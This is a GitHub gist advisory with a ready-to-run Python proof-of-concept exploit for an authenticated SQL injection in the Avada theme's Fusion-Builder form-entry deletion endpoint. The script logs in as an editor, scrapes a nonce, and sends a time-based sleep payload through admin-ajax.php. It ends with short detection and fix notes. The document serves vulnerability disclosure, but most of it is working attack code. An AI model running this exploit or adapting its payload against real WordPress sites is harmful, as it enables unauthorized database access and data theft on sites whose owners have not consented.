Skip to content

Instantly share code, notes, and snippets.

@Xib3rR4dAr
Last active February 14, 2024 12:21
Show Gist options
  • Save Xib3rR4dAr/05a32f63d75082ab05de27e313e70fa3 to your computer and use it in GitHub Desktop.
Save Xib3rR4dAr/05a32f63d75082ab05de27e313e70fa3 to your computer and use it in GitHub Desktop.
Avada <=7.11.4 / Fusion-Builder <= 3.11.4 Editor+ SQL Injection

Avada <=7.11.4 / Fusion-Builder <= 3.11.4 Editor+ SQL Injection

Exploit Author: Muhammad Zeeshan (Xib3rR4dAr)

Description

Avada includes Fusion-Builder plugin, Form entry deletion endpoint was found vulnerable to SQL Injection. Any user having delete_others_posts capability can exploit it. By default Super Admins, Admins, and editors have this capability. Editor users have less privileges that admins, but exploiting SQL Injection, editors or any user having required capaility can exploit SQL Injection for further attacks.

Proof of Concept

Usage:

python3 avada_sqli_poc.py WORDPRESS_URL USERNAME PASSWORD SLEEPTIME

e.g

python3 avada_sqli_poc.py http://127.0.0.1 editor editor 10

SQL Injection Payload (select*from(select(sleep(10)))asdf) is used which wont delete any entry. Backend query would become:

SELECT * FROM `wp_fusion_form_submissions` WHERE id = (select*from(select(sleep(10)))asdf)

avada_sqli_poc.py:

import sys
import requests
from bs4 import BeautifulSoup
import re
import urllib3
import time

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

wordpress_url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
sleep_time = sys.argv[4]

payload = f"(select*from(select(sleep({sleep_time})))asdf)"

proxyDict = {}
# Uncomment to use proxy
# proxyDict = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}

session = requests.Session()

login_url = f"{wordpress_url}/wp-login.php"
# Login to WordPress
login_payload = {
    "log": username,
    "pwd": password,
    "wp-submit": "Log In",
}

login_response = session.post(
    login_url, data=login_payload, proxies=proxyDict, verify=False
)

# Check if login was successful
if "wp-admin" in login_response.url:
    print("Login successful")
else:
    print("Login failed")
    exit()

# URL to get the nonce from
forms_url = f"{wordpress_url}/wp-admin/admin.php?page=avada-forms"

form_response = session.get(forms_url, proxies=proxyDict, verify=False)

# Extract fusion_entry_nonce from the response
soup = BeautifulSoup(form_response.text, "html.parser")
script_content = soup.find("script", {"id": "fusion_form_admin_js-js-extra"}).text
fusion_entry_nonce_match = re.search(
    r'"fusion_entry_nonce":"([a-f0-9]+)"', script_content
)

if fusion_entry_nonce_match:
    fusion_entry_nonce = fusion_entry_nonce_match.group(1)
    print(f"fusion_entry_nonce: {fusion_entry_nonce}")
else:
    print("fusion_entry_nonce not found")
    exit()

# URL for the POST request to remove an entry
remove_entry_url = f"{wordpress_url}/wp-admin/admin-ajax.php"

remove_entry_payload = {
    "action": "fusion_remove_form_entry",
    "fusion_entry_nonce": fusion_entry_nonce,
    "entry": payload,
}

start_time = time.time()
# Send POST request to remove form entry
remove_entry_response = session.post(
    remove_entry_url, data=remove_entry_payload, proxies=proxyDict, verify=False
)
end_time = time.time()

print(f"Remove Entry Response: {remove_entry_response.text}")

# Print the time taken
time_taken = end_time - start_time
print(f"Time taken for SQL Injection request's response: {time_taken} seconds")

Screenshots

image

image

image

image

Detection

Endpoint: WordPress' ajax e.g /wp-admin/admin-ajax.php
Request Parameter: action is fusion_remove_form_entry AND entry is not an integer.

Fix

Cast parameter entry to int before passing to backend SQL query.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment